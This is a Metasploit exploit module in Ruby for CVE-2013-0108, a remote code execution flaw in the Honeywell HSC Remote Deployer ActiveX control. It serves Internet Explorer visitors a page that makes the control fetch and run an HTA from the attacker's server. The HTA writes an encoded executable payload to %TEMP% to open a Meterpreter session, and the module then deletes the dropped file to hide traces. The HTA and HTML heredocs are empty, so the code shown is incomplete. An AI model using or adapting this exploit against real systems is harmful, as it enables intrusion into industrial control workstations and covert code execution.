## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Honeywell HSC Remote Deployer ActiveX Remote Code Execution", 'Description' => %q{ This modules exploits a vulnerability found in the Honewell HSC Remote Deployer ActiveX. This control can be abused by using the LaunchInstaller() function to execute an arbitrary HTA from a remote location. This module has been tested successfully with the HSC Remote Deployer ActiveX installed with HoneyWell EBI R410.1. }, 'License' => MSF_LICENSE, 'Author' => [ 'juan vazquez' ], 'References' => [ [ 'CVE', '2013-0108' ], [ 'OSVDB', '90583' ], [ 'BID', '58134' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/03/11/cve-2013-0108-honeywell-ebi' ], [ 'URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-053-02.pdf' ] ], 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f -k' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Feb 22 2013", 'DefaultTarget' => 0)) end def exploit @var_exename = rand_text_alpha(5 + rand(5)) + ".exe" @dropped_files = [ @var_exename ] super end def on_new_session(session) if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end @dropped_files.delete_if do |file| win_file = file.gsub("/", "\\\\") if session.type == "meterpreter" begin wintemp = session.fs.file.expand_path("%TEMP%") win_file = "#{wintemp}\\#{win_file}" session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) session.fs.file.rm(win_file) print_good("Deleted #{file}") true rescue ::Rex::Post::Meterpreter::RequestError print_error("Failed to delete #{win_file}") false end end end end def build_hta(cli) var_shellobj = rand_text_alpha(rand(5)+5); var_fsobj = rand_text_alpha(rand(5)+5); var_fsobj_file = rand_text_alpha(rand(5)+5); var_vbsname = rand_text_alpha(rand(5)+5); var_writedir = rand_text_alpha(rand(5)+5); var_origLoc = rand_text_alpha(rand(5)+5); var_byteArray = rand_text_alpha(rand(5)+5); var_writestream = rand_text_alpha(rand(5)+5); var_strmConv = rand_text_alpha(rand(5)+5); p = regenerate_payload(cli); exe = generate_payload_exe({ :code => p.encoded }) # Doing in this way to bypass the ADODB.Stream restrictions on JS, # even when executing it as an "HTA" application # The encoding code has been stolen from ie_unsafe_scripting.rb print_status("Encoding payload into vbs/javascript/hta..."); # Build the content that will end up in the .vbs file vbs_content = Rex::Text.to_hex(%Q| Dim #{var_origLoc}, s, #{var_byteArray} #{var_origLoc} = SetLocale(1033) |) # Drop the exe payload into an ansi string (ansi ensured via SetLocale above) # for conversion with ADODB.Stream vbs_ary = [] # The output of this loop needs to be as small as possible since it # gets repeated for every byte of the executable, ballooning it by a # factor of about 80k (the current size of the exe template). In its # current form, it's down to about 4MB on the wire exe.each_byte do |b| vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n") end vbs_content << vbs_ary.join("") # Continue with the rest of the vbs file; # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent # Then use ADODB.Stream again to write the binary to file. #print_status("Finishing vbs..."); vbs_content << Rex::Text.to_hex(%Q| Dim #{var_strmConv}, #{var_writedir}, #{var_writestream} #{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}" Set #{var_strmConv} = CreateObject("ADODB.Stream") #{var_strmConv}.Type = 2 #{var_strmConv}.Charset = "x-ansi" #{var_strmConv}.Open #{var_strmConv}.WriteText s, 0 #{var_strmConv}.Position = 0 #{var_strmConv}.Type = 1 #{var_strmConv}.SaveToFile #{var_writedir}, 2 SetLocale(#{var_origLoc})|) hta = <<-EOS EOS return hta end def on_request_uri(cli, request) agent = request.headers['User-Agent'] if agent !~ /MSIE \d/ print_error("Browser not supported: #{agent.to_s}") send_not_found(cli) return end uri = ((datastore['SSL']) ? "https://" : "http://") uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']) uri << ":#{datastore['SRVPORT']}" print_status("Request received for #{request.uri}"); if request.uri =~ /\/SystemDisplays\/RemoteInstallWelcome.hta/ hta = build_hta(cli) print_status("Sending HTA application") send_response(cli, hta, {'Content-Type'=>'application/hta'}) return end html = <<-EOS EOS # we need to handle direct /SystemDisplays/RemoteInstallWelcome.hta requests proc = Proc.new do |cli, req| on_request_uri(cli, req) end add_resource({'Path' => "/SystemDisplays/RemoteInstallWelcome.hta", 'Proc' => proc}) rescue nil print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end